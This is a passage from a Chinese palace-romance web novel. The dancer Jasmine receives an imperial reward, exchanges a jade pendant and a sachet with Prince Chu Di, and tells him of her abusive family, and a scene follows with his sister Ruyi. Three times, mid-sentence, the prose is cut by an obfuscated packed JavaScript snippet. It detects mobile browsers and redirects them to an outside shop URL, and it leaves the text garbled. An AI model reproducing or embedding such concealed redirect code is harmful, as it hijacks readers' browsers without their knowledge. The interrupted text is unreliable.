甘露殿那次旁观，让茉莉无限接近权力，回到宜春院后，那些画面始终历历在目——东宫，宝剑，御前奏对，山呼海啸的军士......无一不让她热血沸腾，因此她对朝堂政治产生了极大的兴趣。 也是那日，楚棣封王的消息传来，被囚禁的阴霾一扫而光，茉莉为他高兴，因为他终于得到身为皇子应得的荣誉。姐姐说的对，他有一个好兄长，很疼他。 这些东西茉莉都没有，在那个家里，父非父，母非母，子女也非子女，而是父母向上攀爬的垫脚石。 想的越深，茉莉越发觉得他们之间横亘着一道天堑，将他们隔在天地的两端。茉莉被自卑淹没，故而更加渴望自强。 既然裴大人说会再找她，她就相信，抱着这个想法，等待时机毛遂自荐——为了腰间的鱼袋，也不仅仅是鱼袋。 那天以后，茉莉一改懒散本性，每日练舞结束，都雷打不动地窝进房里读书写字，读书倒还次要，主要是识字、写字、临帖，一笔一画，俱是专心致志，几乎到了废寝忘食的地步。 魏缨很高兴，将珍藏多年的登善《雁塔圣教序》字帖赠给了她。 茉莉也很争气，短短两个月就掌握了三四千个常用字，阅读等闲典籍诗书已经难不倒她了，更值得骄傲的是，于写字上进步更大，一手褚楷端庄秀逸，时常被老师在堂上夸赞传阅。 漫长的孝期将内教坊变成一处禁地。按照惯例，除夕夜宴上需由内廷伶人演舞庆祝，但今年先帝新丧，新君下令取消了年底一切舞乐表演，伶人们整日无所事事，一跃成为整座皇城里最悠闲自在的人群。 光阴匆匆流逝，将一众隐没在宫廷深处。 一场大雪，一夜冬风，将大明宫淹没于冰雪中，宫殿屋檐下，无一不绵延着晶莹的冰凌，漫天雾气，霏霏雪絮，隐隐约约中，能见得一星半点触目的红色，那是庆祝新年即将到来的红绫和宫灯。 一大早，茉莉就被窗缝透进来的寒意刺醒，睡眼朦胧，不自觉地裹紧被子，窝屈着跑去推紧窗户，然后几个箭步飞回被窝里，眯起眼睛，好一会儿才回魂儿。 但闻屋内轻声响动，茉莉翻过身，见魏缨着一身紫烟丝绵夹长袄，颈上围一条银狐皮围脖，蓬松乌亮的愁来髻披在脑后，自廊下推门进来，脸颊粉里透红，当是被风刮的。 见茉莉醒了，魏缨走到床边，把汤婆子塞一个进去，遂坐床沿笑道：“醒啦？今天是除夕，檀华姑姑说我们可以去小厨房领些肉菜回来自个儿做。你可有什么想吃的？姐姐给你做。” 茉莉年轻尚轻，食欲像刀子一样，什么都想割两口。一听有这好事，登时馋得恶形恶状，报起菜名：“我想吃葱姜鸡、蒸鸭、虾羹、煎白肠、透花糍、七返膏、要是有五般馄饨就更好啦！” 魏缨打趣道：“哟！吓姐姐一跳。你有多大肚子，能吃这么些菜？” 茉莉从床上坐起来，弯眉咧嘴地笑：“姐姐，好姐姐——我给你打下手，我择菜洗碗刷锅，我什么都做......” 魏缨斜着眼，揶揄道：“有的人倒是想帮忙，可是她连芹菜和菠菜都分不清呢。” 茉莉气鼓鼓地：“我现在分得清了！不信？姐姐考我。” 魏缨顽皮一笑：“好啦，姐姐不考你。”然后把衣服给她，“等你收拾好，我们去看看小厨房有些什么菜，多拿几样，保管你今天吃个痛快，好不好？” “好，姐姐最好了。”茉莉喜得立刻从床上坐起来。先穿里衣，再套上厚实的夹棉上袄和裤子，外穿一件银灰丝绵圆领袍，披云纹锦缎披风。 这些都是前些日子出宫，用先帝赏赐的绸缎置办的，春夏秋冬常服各三套，除此以外，还用赏银置办了几样首饰，尚未穿戴过。 用热水洗完脸，茉莉坐到镜前，一头青丝像云一样，乌亮蓬松地披在身后。 魏缨见状，问道：“又在想什么呢？” “我在想挽什么髻。” “我帮你吧。” 魏缨走过去，双手堪堪翻飞几下，挽出一个饱满的百合髻，不簪一物，更加突出茉莉独有的少女气，清新自然可爱。 “如何？喜欢吗？” “回姐姐，喜欢。”茉莉笑答。 忽然，自院内传来一道的声音：“敕旨到！宜春院伶人茉莉接旨。” 茉莉和魏缨俱是一惊，相视一眼，都想不出这是何故，遂一道推门出去，院里站着几名内侍，二人连忙跪在檐下。 宣旨内侍声如洪钟：“宜春院伶人茉莉协助襄王楚棣于蓝田大营调兵有功，赏黄金三十两，鲁山绸三十匹，钗环四套。另赐元日膳食汤中捞丸、五辛盘、元日脔、胶牙饧、屠苏酒。钦此。” “谢主隆恩。”茉莉和魏缨一齐伏身接旨。 内侍走过去，端详二人片刻，笑道：“天冷，二位姑娘快起吧。所有东西都在这里了，您看让他们放哪里？” 听说新君即位，将有功之臣都封赏了一遍，茉莉那时也等过这圣旨，可等来等去，愣是一点风声都没有，由不得她不死心。 今天怎么回事？难道圣人奇迹般地想起她了么？茉莉想不明白，双手接过圣旨，有点发呆。 魏缨见状，从腰间香囊里抓出一把金瓜子，放与内侍手中：“辛苦内侍监跑这一趟，小小心意，请大家喝酒暖身子。这些东西都放到屋里吧。” 内侍不动声色地，将金瓜子握住，仍是笑：“洒家替他们谢过了。” 自二人御前献艺后，宫中有传言，说她们是花神，如何花容月貌、温婉动人。今日一见，内侍觉得那些夸赞不是空穴来风，魏缨的美不单薄，饱含书卷气，更懂得宫中生存之道，真比较起来，茉莉方方面面都差远了。 魏缨捕捉到内侍眼中轻微的不满，忙拉过茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120135|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉，解释道：“内侍监别见怪，茉莉这是高兴昏了头，什么也顾不上，记不得了。” “究竟是茉莉姑娘太高兴，还是本没有想到正事儿上？洒家看不准。魏缨姑娘，咱们还会再见的。”内侍语气如常，既表达了对茉莉的看法，又有意点了点魏缨，似乎已看见她前程何在。 待众内侍走到院中，茉莉才省过来，连忙躬身相送。 短短片刻，二人已觉冷极了，幸好屋里有上好的木炭取暖，否则真不知道这冬该怎么过。 茉莉看着那堆赏赐，兴奋极了：“姐姐，这些鲁山绸我们留下几匹做衣裳，剩下的拿出去换银子，咱们就发达了！” “不行。”魏缨一语否决。 “可是上次先帝赏赐的丝绸，咱们不就是这么处置的吗？”上次她们出宫，在绸缎庄遇到了鹭起，还一起吃了顿饭呢。 “这鲁山绸又叫仙女织，以光彩照人、薄如蝉翼闻名，是宫中珍品。要是流到宫外会被高官夫人们疯抢，届时要是追究起来，你就得倒霉了。” “好吧。”茉莉讪讪垂头，抱怨道：“内廷伶人本就有四季常服，圣人尽赏些丝绸有甚用？还不如赏我换个鱼袋呢。” 魏缨和茉莉时常点灯夜话，互诉衷肠，她知道，茉莉认字读书是为了做官，虽说志气可嘉，但太过急功近利，也不是好事。 她与王山遥相处颇多，知道成大事者最忌心急浮躁，需得贞静从容。眼下茉莉正在兴头儿上，她不好劝，想来想去，只是淡淡笑道：“茉莉，只要你实心做事，耐心等待，总有一天会换鱼袋的。” 茉莉对此深信不疑：“谢谢姐姐。假以时日，我给你送一大箱子登善字帖。” 魏缨拍手笑道：“好也！我要最好的《伊阙佛龛经》。”抱着汤婆子坐到桌边，看茉莉昨夜未写完的《山河贴》。 茉莉问：“姐姐，我们什么时候去领菜？” 魏缨道：“现在去。”然后看着字帖笑了，“你就安心练褚楷了？不学学别的？” “我倒是想学颜体欧体，但先生叫我写满一年再练别的。” “写字么，用心不用时，不过先生说的也对，做事总要有长性才好。” 茉莉歪着脑袋问：“姐姐是在说我做事没长性么？” 魏缨起身笑笑：“聪明妹妹哎！” 一道出门去，茉莉悄声问：“姐姐，你说圣人为何今日才赏我？” 魏缨听懂弦外之音，打趣道：“左不过是先前忘了你，今又想起你，这也值得你一问？我看，你是想问，是谁让他想起你的吧！” 茉莉面红耳赤，气呼呼地：“姐姐！你——” “我、我什么？”魏缨作恶地，学她语塞。 茉莉在地上抓起一把雪向魏缨扔去，魏缨也捧雪反击，二人在雪中追赶、嬉戏，雪粒洋洋洒洒，沾了满身。闹够了，一齐站在树下，互相抖雪。 魏缨还揶揄：“咱们茉莉也有逆鳞了，一点碰不得。” 不等回答，院外响起了“笃笃笃”的敲门声。 30. 寻常事 魏缨正给茉莉整理衣裙，闻声看向院外。 “会是谁来？” “大概是檀华姑姑。” “我去开门。” 茉莉冲过去打开门，忽的怔在那里，半晌没有动静。 门外人玉簪束发，配白玉冠，身着玄衣黑大氅，腰间配一把细剑，脚下官靴无花样，金相玉质，风姿耿耿，不染半分俗态，正是许久不见的襄王楚棣。 他盈盈笑道：“茉莉姑娘，还记得我吗？” 茉莉回过神，脱口而出：“隋大哥。” 楚棣笑意更深。 魏缨与楚棣有过一面之缘，不过当日相隔甚远，没看真切。这厢见着，是凭一身装束和那柄细剑认出他。见茉莉发愣，魏缨上前见礼：“奴婢见过襄王。” 茉莉连忙躬身，语无伦次道：“参见襄王殿下。” “贸然叨扰，请魏姑娘多多包涵。”楚棣谦恭地对魏缨点头，然后才向茉莉打趣：“襄王就襄王，还殿下？参见？如何两个月不见，礼数这般周全，既周全，却不请客人进门，是个什么礼？” 一串连珠炮，让茉莉语塞，更加手足无措，直到魏缨悄悄攘她，才怏怏道：“那你进来吧。” 魏缨笑道：“冬日严寒，请殿下入内上座。” 楚棣进院里站定：“院内雪景宜人，是个叙话的好地方。本王就在此祝贺茉莉姑娘受赏。” 魏缨心知肚明：“也好。茉莉，我这就去小厨房领菜，你来为殿下奉茶。” 茉莉应下，进屋端出一盘生梨，再搬一张椅子和围炉煮茶的器具，摆在廊下生火煮茶，先请楚棣坐下，然后自顾自忙，不看他，也不说话。 倒不是存心冷落，而是觉得这一幕太怪了——他们是什么关系？他用得着贺她？ 楚棣落座，看了片刻雪，转过脸静静地注视茉莉，一举一动，规矩从容，与初见时那个咋咋唬唬的小女子相比，可真沉静多了。 只有四目相对时，楚棣才清楚，她还是她，那澄净明亮的眼底每时每刻都散发出一种热望，潜藏的野心，大抵是对青春年华的规划。 行走深宫中，一旦见识过富贵权力，是极容易滋生出飞上枝头的冲动的。 说到底，她是变了，难道有了这种冲动？在这个念头蹦出来的时候，楚棣的灵魂为之一震。 “煮好了。”茉莉认真向楚棣展示茶艺，“你看这样对不对？”姐姐教的，先将第一道茶倒掉，再倒第二次、第三次，至茶水不再滚烫，才能给客喝。把茶奉去道：“一杯清茶，祝殿下步步高升。” 楚棣接过，浅抿一口，不禁大赞：“茶水不干不涩，清新回甘，好茶当配好手艺也！姑娘的祝贺我收下了。如今说话一套一套的，真是士别三日，当刮目相看。” 茉莉满足极了：“殿下这般夸我，存心叫我脸红？” “脸红做甚？你再学学，去御前做奉茶女官也无不可。”楚棣端着茶杯，笑得十分悠然，不知那话是真是假。 莫名地，茉莉生出一种自信，要是自己今日提出要求，他大概会一一应下。可是自尊不许她提。想了想去，回敬道：“御前奉茶官居几品？俸金几多？可有宜春院中自在？殿下大哥要为我引荐么？”最后一句说得急，实是口误。 听她如此称呼自己，楚棣泛起一腔甜蜜：“容殿下大哥我好好想想。” 不过片刻，茉莉笑道：“殿下大哥你，想好了吗？”其实心里也甜甜的。 楚棣见泥炉上的梨盅蒸得差不多了，一气推去茉莉面前，“先吃吧，容我再想想。”思忖片刻，渐渐敛起笑意，认真起来：“你真想去御前侍奉？” 茉莉脸上仍然带笑：“这不是大哥说的吗？” 楚棣面露难色：“你若想去，倒是可以，但御前当差不是你想象中那样简单。” 茉莉吃一口梨子水，微微笑道：“我见过陛下，我知道。” 楚棣欣慰地点头：“这些日子，你变了很多，我看得出你胸中存有大志。在这宫里，不论你想去何处任职，我都可以帮你，包括御前。只是陛下疑心深重，阴晴不定，我若常在宫里，还可照看你一二。不巧，上元过后我就要去蓝田大营，届时离了你魏姐姐，无依无靠的，你不害怕？” “有殿下一句话，我就心满意足了。”茉莉踌躇片刻，实言相告：“我真心想去御前侍奉，但并不只是想做个奉茶宫人。” 楚棣听得懵懂，忽然胸中发酸，不敢深问：“也好。只要你有主意，早晚能成事的。” 茉莉当即一阵大笑：“我要像裴大人那样，有朝一日参赞国事，挣出自己的一番天地，也就不枉此生了。” 心落到实处，楚棣一高兴，将这两月前朝发生的事情都说了一遍，茉莉听得极其认真，一直没有开口。直到楚棣说： “裴九在孝期替祖父料理政务，事后得圣人嘉许，特许她入阁为舍人。几天后，太史局夜观天象有异，上书云‘雌鸡化雄，乃不利男君之兆’，在庭前掀起轩然大波。” “什么星象有异？明明是他们没有容人之量。”茉莉急切地反驳。 楚棣幽幽一叹：“身为男人，惭愧也！”但觉啼笑皆非，“那班大臣笃定庙堂只容纳男子，可陛下未登基时，明明也是他们嚷着要立女主。” 茉莉忽然问：“公主为何不登基？”满脸认真。 楚棣四处张望一番，不见半片人影，遂笑问：“你不要命了？” “我要命，敢请大哥回答我，公主为何不登基？” “你认为，公主应该登基？”楚棣反问。 “自我通读国史以来，从中发现，自大晋立国，每逢国君赏赐百姓，受赏的从来只有男人，直到一年，书中记载‘壬戌，以女原生，赐是日生女者粟’这是平民女子首次受赏。” “随着公主及笄、出嫁、生子、加封，每每都有‘赐八十以上妇人郡、县君’的记载，更令我印象深刻的是，公主行加冠礼，书中记载‘民医七日，女子百户牛酒’。我想，那些女子所受的恩赏，皆因太宗深爱女儿，爱屋及乌，故惠及天下女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120136|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。假使公主顺应世族之请登基即位，至少今日不会有‘雌鸡化雄’的天象，而庙堂上，也当涌现更多不让须眉的女官。” 楚棣讶然，满含笑意，定定地看住她：“你见识不俗啊！如此这般，更教我惭愧了。” 茉莉一笑置之：“读史之余闲想罢了。不过，要是天下多有几个大哥这般思想的男子，自然慢慢就好起来了。” “你一番闲想，却叫我唏嘘感慨。”楚棣面有愧色，正声道：“你的志向我理解了。目下我虽得圣人器重，但无功业在身，不好贸然引荐。茉莉，你且在宜春院中蛰伏，待我走一趟蓝田，回来立即为你安排正经差事可好？” “如此，多谢殿下了。”茉莉拱手道谢。 “但你要答应我一件事。”楚棣自有私心，“这段日子，假若要去御前献舞，自让你魏姐姐去罢。” “为何？”茉莉心中一沉。 楚棣略一思忖，轻声答：“伶人素来争议颇多，要走仕途，宜留守清白之身。如君不信，请自决断。”说完飞快看她一眼，自觉话虽出自真心，但太亵渎她了。 在大宅院里，茉莉见过男女之间最为丑恶的事情。想想，她生父不过芝麻大点儿的官，姬妾们尚要伏低做小，若是侍奉皇帝，那况味岂是能想象的？但觉一阵恶寒，茉莉应下：“我听大哥的。” 楚棣好奇道：“不生气？” “字字在理，我没道理生气。” 两个月里，楚棣无数次想起他们策马去蓝田那一夜，想起她挣扎上马的身影。正如当初在荒郊野外遇见她一样，那种惊险荒诞，为他的记忆蒙上一层又一层金色薄纱，如梦如幻，熠熠生辉。 小镇少女的粗野泼辣，如浓墨重彩，在他心里深深地留下一笔。故而，她陡然的知书识礼，倒让他十分局促，生怕碍于身份，她才不肯对自己生气讥讽。 听见茉莉这句话，楚棣算真正认识她了。 今日来此，不就是为了证实他们是老相识么？谈了半晌，倒差点儿把最重要的事给忘了。兀自胡思乱想，算什么丈夫？ 楚棣终于说：“你出来也有小半年了，半个月后我动身去蓝田，你可有书信要带回家里？” 但觉茉莉神色突变，不笑，不怒，脸却实在地垮下去，叫人看不出缘故。 楚棣小心翼翼地：“我说错话了？”可这句话，能错在哪里？ 默然良久，茉莉开口了：“多谢殿下好意，但我不需要。” 楚棣不禁一怔，单说他认识的女子，谁人不恋家？更何况她小小年纪，孑然一身，却对家里无半分留恋，难不成父母亏待她了？ 凡此种种，都让楚棣尴尬，看样子，的确问错了。 见他满面愁容，茉莉再三考虑后，坦诚道：“大哥，茉莉一直对你有所隐瞒，并不曾想过要和盘托出。今日话到此处，奴婢想把一切都说明白，又担心殿下是否愿意一听。” “你的身世？快，说与我听。”楚棣讶然失笑，同时开心极了，终于，她愿意对他敞开心扉。 31. 寻常事 茉莉斟杯茶水，问道：“大哥与父母兄长小妹感情如何？” 楚棣为难：“这问题好生难答。”思忖片刻，仍诚实答来：“兄长是太子，母亲偏疼他，如意年齿小，父亲偏疼她。我嘛，不上不下，父母爱我，但总谈不上‘偏疼’二字。我们兄妹三人一起长大，平日里是他们多让着我。我和如意，自不必多说，和兄长...我不瞒你，在父亲去世前，我们只是默契地维护着表面的和平，感情有多深，真是说不上来。” 茉莉会意，追问道：“如今怎样？” 楚棣捧茶深叹：“丧仪结束那晚，我们在甘露殿中对弈手谈，他说‘直至今日，才真正感谢父母给了他一双手足’。” 茉莉心想，那当然了，要是没你豁出命去蓝田点将，大军是否回护京畿还两说呢。 “为什么？” “因为在失去父亲的时候，这世上有两个人和他感同身受。” 就那一句话，让兄长多年冰冷的威严，化作一阵又一阵暖流，随着全身脉络流经四肢百骸，最后回到心脏，滋养他，保护他。 想到此，楚棣眉目舒展，眼中是不同寻常的，似水的笑意，忽而恍然道：“光说我，怎的不说你？姓甚名谁，籍贯何处，父母可在，家中兄弟姐妹几人，一一交代。” 茉莉掩面一笑，抬眼看着他：“我姓元，小字茉莉，在家行三，有一兄一姐，弟妹三个。母亲是蓝田乡下一个农妇，因颜色不错，被县令用十贯钱强典为妾，生下我后色衰爱弛，在我六岁那年便郁郁而终。” 楚棣一惊，不想又冒撞了，连忙赔罪：“茉莉，对不起，我不是故意要你想起伤心事。如此想来，咱们相遇那天，你在林中哭你母亲？” 茉莉只是微笑：“年深日久，说不得伤心不伤心了。”想起那天，却像在说别人的事，风轻云淡道：“京兆府尹曾去治下二十二县游历，到我家中住过几日，因父亲一心巴结，知道他好赏舞，便令我与他做妾。我百般恳求父亲，他就是不愿松口，故而出阁那日我逃跑了。那府尹见不到人，必要拿我父亲问罪。” 楚棣愤然道：“呸！这京兆府尹年轻时屡次被贬，终于走了门路，投到公主府才能够平步青云。说起来治下有方，却不想是个狗官赃官，黄土埋了半截，还敢误人青春。”平息片刻，望住茉莉道：“你不必担心，待我将此事告与姑祖母知道，必让他丢了顶上乌纱。” 茉莉只劝：“大哥息怒，不必理会他们。”直说了好几遍，才算劝住了。 楚棣心中做烧：“茉莉，你实话告诉我。我替你料理这京兆府尹，你可能畅快半分？” 茉莉如实答：“大哥若为百姓料理了他，我便畅快；若只是为我，我觉得不该。我所经历的种种苦难，始作俑者并不是他。” 有道是“疏不间亲”，饶是楚棣迟钝，也知道她弦外之音，略显迟疑：“那你的意思是？”微微向前一凑，看她神色如何变化。 茉莉面不改色：“大哥一定要我明说么？”双手不自觉抓紧袖口，只是看着炉上食物。 “你自管说便是。”楚棣喝完茶，见壶中茶水正咕嘟着，一壁去倒，一壁忖度她的心思，只怕要和她父亲斗到底了。 茉莉咬牙切齿：“待我有个安身立命之所，必将宅中一应事务叠成文案，将他告上公堂。” “不可！以子告父，须得先受脊杖二十，官衙再行审理。你一介女流，盈盈弱质，怎受得这二十杖？” “妇人生子与过鬼门关无异。母亲生我一场，我要为她讨个公道，纵然豁出命去，也不过是‘剔骨还父，削肉还母’正趁我意。话说回来，区区二十杖，我身体康健，受得起。” 楚棣听她话中有话，想定是家中私隐，不他该问，便住嘴，只一味安慰道：“大年下的，别说这些不吉利的话。你且放宽心罢，我去蓝田，若有缘见着你父亲，自有一番计较。” 茉莉一点头：“那是自然，该到长姐议亲的日子了，父亲大概会邀请一干官员军汉入府相看，为她寻个好人家。”瞧住楚棣，不禁打趣道：“殿下品貌一流恰似潘郎掷果荀令留香，一过府，包管叫我父亲看上。” 楚棣噙起笑意，看住她：“只是他看上么？你却没看上？” 蓦地，两颊飞起两片红云，茉莉垂下脸，别过身，仿佛入定一般不管他了。几弹指功夫，又抬起一双水汪汪的眼，对他嗔道：“大哥只顾消遣我来了，看我理不理你那浑话。” “我是说真的。”楚棣敛起笑意，看向她的目光愈加坚定。 茉莉只做不懂：“什么真的假的，我可听不懂。”却已掉进蜜罐子里。 楚棣忍笑不住：“你今日只管装傻充愣，假以时日，我定要你将真心尽皆说与我听。” 只此一言，把彼此心意都道尽了。 炉上梨盅已烤得发黄，茉莉夹进白瓷盘里，请楚棣别浪费。思忖片刻，笑道：“先生说‘情天往往随着恨海’，真心是什么？能填满这天与海的空白？” 楚棣恍然，叹息一声，立即拱手请罪：“楚棣入得情天，知晓一分真心，可抵千金，至于恨海，暂不知从何而来，自然做不得解。今日冒撞，皆心急所致，实无消遣诓骗之意，茉莉姑娘慈悲大度，万望觑往日交情，勿怪勿怪。” 茉莉混过这节，心下松一口气：“殿下放心，我权当今日没有此事。” “你还是有这回事吧。”楚棣连忙止住她，低声道：“我知道你的意思，来日方长，你容我慢慢地想，总会有法子的。” 茉莉附和道：“大哥说的对，日后定有解忧之法。”径自端起茶，一气喝完。 楚棣自腰间解下玉佩，欲塞她手中，“茉莉，这块翠玉自我出生便跟着我，因刻着‘棠棣同馨’的典，宫中无人不识。年后我要开府建衙，再难回宫长住，顾你不到。倘有难事，不拘大小，可将翠玉送至御前，圣人自当为你解难。” 这本是定情的物事，却叫茉莉一躲，变成免死金牌了，一时好笑，一时窝心，一时又觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120137|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫手，只是推拒：“既是殿下贴身之物，茉莉不敢收。” 楚棣苦口婆心道：“茉莉，你收下吧。宫中不比外面，你留着不使，做个护身符也好。” 见他如此，茉莉只得松口收下，道过谢，想从身上取下一物与他，却空空如也。径自走进房中，从首饰盒里取出最喜欢的镂空鎏金香囊，却是迟疑，他贵为皇子，这些玩意儿不知见过多少，不见得会喜欢，便换了一个丁香色香囊。 茉莉出得门去，将香囊双手奉上：“今赠香囊一只，尽个礼尚往来的礼数。大哥别嫌粗糙，这是我做的，足足纫了一百多个针眼儿呢！” 楚棣将回礼拿在手中，细细看过几遍，面上不露半分，心里却道：果然粗糙，花好月圆、红裳翠蒂皆绣得不成样子。 可这些都不重要，重要的是她的心意。 见他不言语，茉莉伸手要抢：“要不这只还我，等我做熟了，再送你几个好的。” 楚棣拍拍心口，存心逗她：“来不及了，此刻我已将香囊贴身放好。” 闹了茉莉一个大红脸，一气儿红上耳根子，只得背过身去，气得直跺脚。 “这只也要，那几个好的也要。”楚棣凑到她跟前，眼底一簇红霞，“茉莉姑娘勿怪，小棣不曾见过这般精致可爱的物事，自当做珍宝一般，爱不释手。” 见他如此，茉莉忍住笑，不响一声。 楚棣自说自话够了，佯作叹气：“苦也，苦也，我又惹恼了茉莉姑娘，这可如何是好？” 茉莉终于搭腔：“少诬赖我，我可没这么小器。” 楚棣见她神色如常，微微渗着喜气，确定没惹恼她，邀她再喝一杯茶水，“不气就好。方才还没说你兄弟姐妹几个呢，此刻还想说吗？” 茉莉皱皱鼻子，一一说来：“阿兄阿姐都是主母所出，父亲爱如珍宝，学问教养延请名师，吃穿用度皆为上品。我五岁上，被抱到主母院中，却教我住大姐姐房间的耳房里，吃穿待遇和使女差不多，因教我练舞，累得没空多想，十几年来不以为然。” “那主母和姐姐待你如何？”楚棣连忙追问。 “主母尖酸，说话难听，戳人心窝子，但吃穿上不算太薄待我。姐姐倒是不打不骂，只偶尔使唤我罢了。” “如何难听法？” “腌臢话，恐污殿下尊耳，就不说了。” 欲言又止，好教楚棣心疼，当下想定要去会会这对豺狼夫妇，替茉莉教训教训他们。不好说，单是安慰：“如今你挣出命来，就别再想这些事自寻烦恼了。咱们说点儿开心的。” 茉莉忽地想起一件事，“前些日子，我与姐姐出宫采买，总觉着身后有人跟着，莫不是家里人追来了？” “不必担心，我遣人替你暗中探查。” “茉莉谢过。” 后又说了些闲话，魏缨取来一大篮子新鲜菜蔬瓜果，看着时候不早了，当时楚棣便辞过二人，再叮嘱茉莉几句，就一径往立政殿向太后请安去。 32. 滔滔岌岌风云起 楚棣入得立正殿，只见灯影照壁，十几个宫人内侍正在大殿洒扫，小声说笑，便知母亲不在。听得偏殿有些动静，楚棣边走边寻思：自打母亲做了太后，总是不见人影，是在忙什么？ 偏殿内，地龙烧得正旺。如意坐在梳妆镜前，一头乌亮蓬松的发，经宫人的手，挽成和茉莉一样的百合髻，少女初长成，只娇气，不柔媚，如出水芙蓉般，不搽脂粉，不饰一物，一身天青水仙花破裙，素白软袜绣鞋。 楚棣自去她身后，站定问：“如意，你可知阿娘去哪里了？” “在太液池边和阿舅叙话呢。”如意自镜中看见，他腰间蹀躞空荡荡的，明明早起还挂着玉。 “既来叙话，却到太液池边吹风？真是奇了。” “阿舅知道棠哥哥过会儿要来，怕撞见。” “是也，棠登基后大行封赏，连乳母都给封了国夫人，唯独母族丝毫未得，却不知是何意。” “棠哥哥嫌阿舅只会招猫逗狗，瞧不上他呗。” “难怪阿舅避猫鼠似的，只能向阿娘讨赏了。”楚棣若有所思，在她身后坐定：“你年纪轻轻，正是穿红戴绿的年纪，怎的不吩咐绣坊做些时兴鲜艳的款式？一味素净，反倒失了生气。” 如意对镜自照：“我不喜欢花花绿绿的。” 楚棣不信：“是你不喜欢，还是青龙寺师兄不喜欢？” 如意转身面对着他，“师兄自幼摩顶受戒，一心供奉三宝，哪有心思瞧我？既不瞧我，何谈喜不喜欢。” 楚棣心道，爱情之美，美在两情相悦，若是一厢情愿，美从何来？今日向茉莉表白心意，不是一时脑热，而是他一直能感受到，茉莉看向他时，那炽热的目光和真心。 “那你还喜欢他做甚？”楚棣不解。 “好玩！”如意盈盈笑道：“我要他为我放弃佛法，回到红尘。” 自楚棣知道妹妹心意，便遣人去青龙寺中打探，得知那师兄法号海净，颇有慧根，生的周正威严，似一尊罗汉。 少时即发愿要将大乘佛法传遍九州，跟随师父开坛讲经，苦学天竺语和吐火罗语，近几年来，一直忙于翻译、编撰佛经。 国中檀越谁人不知，海净将来会是得道高僧。如意要坏他的修行，楚棣自是觉得残忍，可是在绝对权力面前，方外之人也须从命。 楚棣眉心微蹙，似笑非笑：“你如何要这般对他？来，坐近些，给哥说明白。” 如意自去倚楚棣坐下，挽起手臂，只是撒娇：“棣哥哥，妹妹只是想要一个驸马，你都不许吗？” “我如何能不许？”楚棣再次不解，娓娓劝道：“佛门戒律，谁令得道之人还俗是大罪过，咱们活这一世，且先不谈身后之事，只说现在，海净师兄深受佛法浸润，俗缘早断，如何为你还俗？如意，婚姻不是儿戏，只要你愿意，棠会为你寻一个天底下最好的男子，让你这一生都不受半点儿委屈。” 如意轻飘飘的：“可我现在只想要他呀！” 楚棣问：“棠可知道此事？” 如意摇头道：“不知道。” 但觉此事还能回旋，楚棣还劝：“若要他知道，只恐一道圣旨下去，你海净师兄这辈子就锁在公主府了。你情窦初开，要拿情事消乏精力，自是可以，但因海净是方外之人，你须得规矩相待，不可强压，不可越雷池半步，记得了？休听身边那起人出的昏招。” “知道！在哥哥眼里，妹妹就这么不懂事吗？”如意依偎在楚棣肩头，忽而仰脸问道：“棣哥哥，你的玉呢？” 轮到楚棣不自在了，涨红脸，却不说谎：“送人了。” “好也！铁树开花了！”如意惊喜地坐起来，望住楚棣笑道：“棣哥哥，快告诉我，她是哪家姑娘？年方多少？品貌如何？性子好不好？” 楚棣蹙起眉心，抬眼觑她：“暂时保密。” 如意不依不饶：“不公平，你问我就说了，怎么你心里有人就藏着掖着？” “你嘴不严，万一被阿娘和棠知道，岂不是害她？”楚棣板着脸。 “棣哥哥，我年后便去镇国公主府，如何说与他们知道？难不成我向姑祖母说去？姑祖母有心管你这事？” “倒也在理。”楚棣犹豫片刻，将与茉莉相遇、相识、相知，连她在宫内，今日之事大略说来，绝口不提品貌性情如何，叮嘱如意半晌，才低声道：“我是为她这个人喜欢她，想和她长长久久地在一起，不像你，只是好玩。” 如意知道，自侄子曙雀出生后，耶耶几次想为棣哥哥相看，找个可靠的岳家，但见他情窦未开，一提及女子、婚事就总避开，便死了那条心。 他如今开窍了，知道将那块翠玉送人定情，要是耶耶知道，该多开心呢。 她既兴奋又感动，双手与楚棣轻轻交握，体贴道：“这女子能入棣哥哥的眼，想来不是凡品，既然不是凡品，就必定聪慧通达，能够珍惜你一番情意。” 楚棣听罢，慨然叹道：“如意，谢谢你，让哥心里踏实多了。”少顷，不禁又叹：“你说，棠能让我与她成亲吗？” 如意如实答：“她家世忒低，棠哥哥和阿娘必不同意她做正妻。不过......” “不过什么？你说。”楚棣急切道。 “你爱她，许她做妾室或侧妃也不错。” “胡扯。我怎会让她受此委屈？” 这是委屈？如意不明白，当然，兴许有一日，她会明白的。 